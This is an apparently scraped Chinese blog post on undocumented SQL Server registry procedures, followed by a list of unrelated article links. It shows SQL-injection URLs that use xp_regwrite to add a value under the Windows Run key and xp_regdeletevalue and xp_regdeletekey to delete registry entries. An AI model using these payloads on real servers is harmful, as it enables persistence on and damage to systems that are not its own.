当前位置: 首页 > news >正文

SQL Server中未公布的扩展存储过程

虽然大多数人而言并不熟悉,但在SQLServer中包含了几个可以访问系统注册表的扩展存储过程。但实际上这几个扩展存储过程都是未公开的,从SQLServer 7.0就有了,在SQLserver2000中仍然保留,他们以后可能会删除。但是这几个存储过程却提供了在当前的SQLServer版本中访问系统注册表的能力,而且很多人利用SQLServer来进行攻击系统时,往往都会用到这几个扩展存储过程,所以最好在SQLServer中禁用他们。

  假如http://127.0.0.1/view.asp?id=165存在SQLServer的sql注入,我们可以用xp_regwrite写入注册表。

  使用方法:

  xp_regwrite 根键,子键, 值名, 值类型, 值

http://127.0.0.1/view.asp?id=165;exec
  master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','
  SOFTWARE/Microsoft/Windows/CurrentVersion/run','
  TestValueName','reg_sz','hello'

  注释:值类型有两种REG_SZ 表示字符型,REG_DWORD 表示整型(用xp_regdeletevalue删除某个值)。

  使用方法:

  xp_regdeletevalue 根键,子键,值名 

http://127.0.0.1/view.asp?id=165;execmaster.
  xp_regdeletevalue'HKEY_LOCAL_MACHINE','
  SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName'

  xp_regdeletekey 删除键,包括该键下所有值

  使用方法:

http://127.0.0.1/view.asp?id=165;exec
  master.xp_regdeletekey'HKEY_LOCAL_MACHINE','
  SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey'

相关文章:

  • 利用jQuery中live为动态生成Dom添加datepicker效果
  • ABAP clear,refresh,free清空内表的区别
  • 作为软件开发人员应该知道的最基本的东西
  • 让IE6、IE7、IE8、IE9、IE10、IE11支持Bootstrap的解决方法
  • 虚拟服务器负载均衡实现方法
  • 架构重构改善既有代码的设计
  • 详解SQL Server中创建数据仓库已分区表
  • SQL server故障转移和负载均衡
  • [LeetCode]284. Peeking Iterator(C++,类,暴力)
  • SQL Server——海量数据库的查询优化及分页算法方案
  • 什么样的代码才是好代码
  • prototype 常用方法
  • 构建高质量的C#代码
  • C#的Enum—枚举
  • python 常用模块
  • __proto__ 和 prototype的关系
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • Angular2开发踩坑系列-生产环境编译
  • classpath对获取配置文件的影响
  • Docker下部署自己的LNMP工作环境
  • Java的Interrupt与线程中断
  • mysql innodb 索引使用指南
  • Next.js之基础概念(二)
  • uva 10370 Above Average
  • 半理解系列--Promise的进化史
  • 大型网站性能监测、分析与优化常见问题QA
  • 复习Javascript专题(四):js中的深浅拷贝
  • 计算机常识 - 收藏集 - 掘金
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 如何使用 JavaScript 解析 URL
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 一道面试题引发的“血案”
  • 一些css基础学习笔记
  • 异步
  • # .NET Framework中使用命名管道进行进程间通信
  • # 执行时间 统计mysql_一文说尽 MySQL 优化原理
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • (3)(3.5) 遥测无线电区域条例
  • (安卓)跳转应用市场APP详情页的方式
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (论文阅读11/100)Fast R-CNN
  • (论文阅读32/100)Flowing convnets for human pose estimation in videos
  • (转) ns2/nam与nam实现相关的文件
  • (轉)JSON.stringify 语法实例讲解
  • ****** 二十三 ******、软设笔记【数据库】-数据操作-常用关系操作、关系运算
  • ***原理与防范
  • . Flume面试题
  • .NET Micro Framework初体验
  • .Net 高效开发之不可错过的实用工具
  • .net 验证控件和javaScript的冲突问题
  • /dev下添加设备节点的方法步骤(通过device_create)
  • @data注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @RestControllerAdvice异常统一处理类失效原因
  • [ C++ ] 继承
  • [ 云计算 | AWS ] AI 编程助手新势力 Amazon CodeWhisperer:优势功能及实用技巧